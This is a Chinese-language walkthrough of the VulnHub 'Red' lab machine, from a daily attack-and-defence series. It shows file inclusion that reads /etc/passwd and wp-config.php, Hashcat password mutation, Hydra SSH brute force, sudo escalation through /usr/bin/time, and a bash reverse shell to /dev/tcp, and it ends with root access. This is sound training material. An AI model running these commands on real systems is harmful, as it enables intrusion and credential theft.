每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。
代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
nmap枚举发现ip地址:192.168.3.37
发现是个Wordpress网站,但是没有正确解析,点击Hello Blue发现无法访问
192.168.3.37 redrocks.win
将其添加到主机文件中:
再次访问:
根据页面信息看到网站已经被入侵,并且提到有后门,看了其他的地方暂时也没发现什么,那就先看一下后门,因为WordPress 在 Apache PHP上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用SecLists里的CommonBackdoors-PHP.fuzz.txt扫。
下载地址:
https://github.com/danielmiessler/SecLists
命令执行:
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dayu.txt -z
发现可疑文件NetworkFileManagerPHP.php,猜测可能是webshell后门,扫描结果状态码是500,这个脚本可能存在LFI,使用wfuzz测试一下参数:
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w 1.txt
发现key参数返回200,那就使用key参数测试一下:
http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd
测试成功。说明有文件包含。那接下来查看一下 NetworkFileManagerPHP.php 文件:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
通过base64编译发现:
That password alone won't help you! Hashcat says rules are rules
仅凭那个密码对您没有帮助!让我们使用Hashcat规则!
提到了密码、Hashcat和规则。由于它是base64编码的,我们可以假设Red在谈论Hashcat的Best64规则为密码突变,想到的这里大概能获取wp-config文件,里面有数据库的密码:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
john
R3v_m4lwh3r3_k1nG!!
用户名是john,前面查看/etc/passwd文件时发现也有john用户,那就用这个用户登录ssh,将密码保存到文件中,然后用hashcat规则破解:
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
使用解出来的密码本进行ssh爆破:
hydra -l john -P passlist.txt 192.168.3.37 ssh
ssh [email protected]
R3v_m4lwh3r3_k1nG!!00
查看底下note_from_red.txt文件提示cat存在命令存在问题。
发现会以ippsec用户执行/usr/bin/time:
提权成ippsec用户:
https://gtfobins.github.io/gtfobins/time/#sudo
sudo -u ippsec /usr/bin/time /bin/bash
切换成功,查看目录发现正准备下一步时ssh连接被断开了:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.3.56/1234 0>&1'
虽然Red team的信息还在弹,但是已经不会被断开连接了。下载并运行pspy64检查,看看系统在跑哪些进程。下载pspy64,赋权并运行:
/var/www/wordpress/.git/supersecretfileuc.c
发现是定时弹出的脚本,可以上传一个C编写 shell,替代supersecretfileuc.c文件,然后等待 shell 连接,先删除/var/www/wordpress/.git/supersecretfileuc.c和rev文件:
cd /var/www/wordpress/.git/
rm -r supersecretfileuc.c
写入C编写的shell替换掉原来的supersecretfileuc.c,kali上开启http服务上传:
最后获得root权限!
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。